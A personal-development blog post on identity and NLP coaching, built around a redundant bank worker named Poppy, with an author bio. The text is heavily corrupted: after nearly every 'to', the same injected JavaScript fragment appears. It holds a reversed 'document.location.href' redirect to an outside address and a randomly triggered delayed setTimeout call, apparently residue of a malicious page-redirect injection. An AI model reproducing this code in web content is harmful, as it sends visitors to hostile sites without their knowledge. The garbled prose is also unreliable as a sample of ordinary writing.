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Let me tell you a bit about Poppy. Poppy had worked for 25 years for the same large organisation. She loved her job, and had been proud tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to work for the bank, but she and hundreds of her colleagues were being made redundant. As part of her package, Poppy was given funding tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to spend on training, and she used it tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to book on the NLP Diploma because she thought that she might become a coach.

On day one, when I asked her “Who are you, and why have you come tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to learn NLP?” she burst intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to tears. Through her sobs, she tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}told me “I don’t know who I am. Before I was made redundant, I would say I worked for the bank, but now I don’t. I’m Jack and Milly’s mum, I’m Rob’s wife. But these are only small parts of me. I am those things, but I think I want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to discover who I am which is more than that.”

We’ve all heard the expression “an identity crisis”, but we rarely stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to realise that we are living our very own identity crisis on most days.

Identity is at the very heart of your personality. It is the most deep-seated core of who you are. Your identity is so deeply ingrained in you, that it is hard tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to express it.

When we try tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to answer the question “who are you”, our answers normally are incomplete, or express only one small part of our identity.

For example:
• Occupation (e.g. I’m a banker; I’m a coach; I’m an accountant)
• Relationship tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to others (e.g. I’m a mum; I’m a husband; I’m Jo’s sister)
• Hobbies (e.g. I’m a runner; I’m a baker; I sing in a choir)

When we attempt an answer that goes further than this, we might come up with descriptions that relate tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to:
• Stage in life (e.g. I’m retired; I’m a work in progress; I’m a job-seeker; I’m searching for answers)
• Core values (e.g. I’m a catalyst for change; I’m a conservative; I’m an environmentalist; I’m a vegan)

And still we haven’t reached the essence, the kernel, the precise definition of who you are.

When Poppy started tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to explore NLP, she found that it gave her a way tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dig deeper intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to who she truly is.

NLP gave her tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tools tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to:
• Delve intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the core of her personality
• Understand what makes her tick.
• Piece tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together all the parts of the complex jigsaw that make up the whole person.
• Use metaphors tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to uncover and express her unique identity.

Do you know who you are?

If there was a character or a metaphor that summed you up, what would it be?
Do you want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to explore more about your personality and your identity?

You might like our free course “5 Ways To Change Your Life for the Better”, which is a mini-introduction tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to NLP.

 

About Madeleine Allen:  The author is a specialist in Leadership,  Communication and Personal Development for business professionals.  An NLP Trainer and Master Practitioner she conducts in-house corporate training (learn more at www.allentraining.co.uk) and public courses in NLP (learn more at www.brightlightnlp.com)